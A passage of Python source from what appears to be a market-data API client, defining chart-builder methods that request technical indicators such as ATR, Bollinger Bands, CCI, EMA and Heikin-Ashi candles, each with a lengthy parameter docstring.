outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_atr(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ATR to chart builder
Average True Range(ATR) is used to measure market volatility by
decomposing all asset prices over specified time period.
This API call returns meta and time series values of ATR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ATREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_avgprice(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of AVGPRICE to chart builder
Average Price(AVGPRICE) uses formula: (open + high + low + close) / 4.
This API call returns meta and time series values of AVGPRICE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = AVGPRICEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_bbands(
self,
exchange=None,
country=None,
series_type="close",
time_period=20,
sd="2",
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of BBANDS to chart builder
Bollinger Bands(BBANDS) are volatility bands located above and below a
moving average. Volatility size parameter depends on standard
deviation.
This API call returns meta and time series values of BBANDS. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param sd: Number of standard deviations. Must be at least 1
:param ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = BBANDSEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
sd=sd,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_percent_b(
self,
exchange=None,
country=None,
series_type="close",
time_period=20,
sd="2",
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Creates request builder for %B
%B Indicator(%B) measures position of an asset price relative to upper
and lower Bollinger Bands.
This API call returns meta and time series values of %B. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param sd: Number of standard deviations. Must be at least 1
:param ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = PercentBEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
sd=sd,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_pivot_points_hl(
self,
exchange=None,
country=None,
time_period=10,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Creates request builder for Pivot Points (High/Low)
Pivot Points (High/Low) (PIVOT_POINTS_HL) are typically used to foresee potential price reversals.
This API call returns meta and time series values of PIVOT_POINTS_HL. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time descending updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = PivotPointsHLEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_bop(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of BOP to chart builder
Balance Of Power(BOP) measures relative strength between buyers and
sellers by assessing the ability of move price to an extreme level.
This API call returns meta and time series values of BOP. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = BOPEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_cci(
self,
exchange=None,
country=None,
time_period=20,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of CCI to chart builder
Commodity Channel Index(CCI) is a universal indicator that can help to
identify new trend and assess current critical conditions.
This API call returns meta and time series values of CCI. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = CCIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ceil(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of CEIL to chart builder
Vector CEIL(CEIL) transform input data with mathematical ceil
function.
This API call returns meta and time series values of CEIL. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = CEILEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_cmo(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of CMO to chart builder
Chande Momentum Oscillator(CMO) is used to show overbought and
oversold conditions.
This API call returns meta and time series values of CMO. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = CMOEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_coppock(
self,
exchange=None,
country=None,
series_type="close",
long_roc_period=14,
short_roc_period=11,
wma_period=10,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of COPPOCK to chart builder
Coppock Curve(COPPOCK) is usually used to detect long-term trend changes, typically on monthly charts.
This API call returns meta and time series values of CMO. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param long_roc_period: Number of periods for long term rate of change. Takes values in the range from 1 to 500
:param short_roc_period: Number of periods for short term rate of change. Takes values in the range from 1 to 500
:param wma_period: Number of periods for weighted moving average. Takes values in the range from 1 to 500
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = COPPOCKEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
long_roc_period=long_roc_period,
short_roc_period=short_roc_period,
wma_period=wma_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ceil(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of CEIL to chart builder
Vector CEIL(CEIL) transform input data with mathematical ceil
function.
This API call returns meta and time series values of CEIL. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = CEILEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_dema(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of DEMA to chart builder
Double Exponential Moving Average(DEMA) it used to eliminate lag. It
does this by taking two Exponential Moving Averages(EMA)).
This API call returns meta and time series values of DEMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = DEMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_dx(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of DX to chart builder
Directional Movement Index(DX) identifies in which direction the price
is moving.
This API call returns meta and time series values of DX. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = DXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ema(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of EMA to chart builder
Exponential Moving Average(EMA) it places greater importance on recent
data points than the normal Moving Average(MA).
This API call returns meta and time series values of EMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = EMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_exp(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of EXP to chart builder
Exponential(EXP) transform input data with mathematical exponent
function.
This API call returns meta and time series values of EXP. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = EXPEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_floor(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of FLOOR to chart builder
Vector FLOOR(FLOOR) transform input data with mathematical floor
function.
This API call returns meta and time series values of FLOOR. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = FLOOREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_heikinashicandles(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of HEIKINASHICANDLES to chart builder
Heikin-Ashi Candles(HEIKINASHICANDLES) translating from Japanese it
means "average bar". It can be used detect market trends and predict
future price fluctuations..
This API call returns meta and time series values of
HEIKINASHICANDLES. Meta object consists of general information about
requested technical indicator. Time series is the array of objects
ordered by time desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
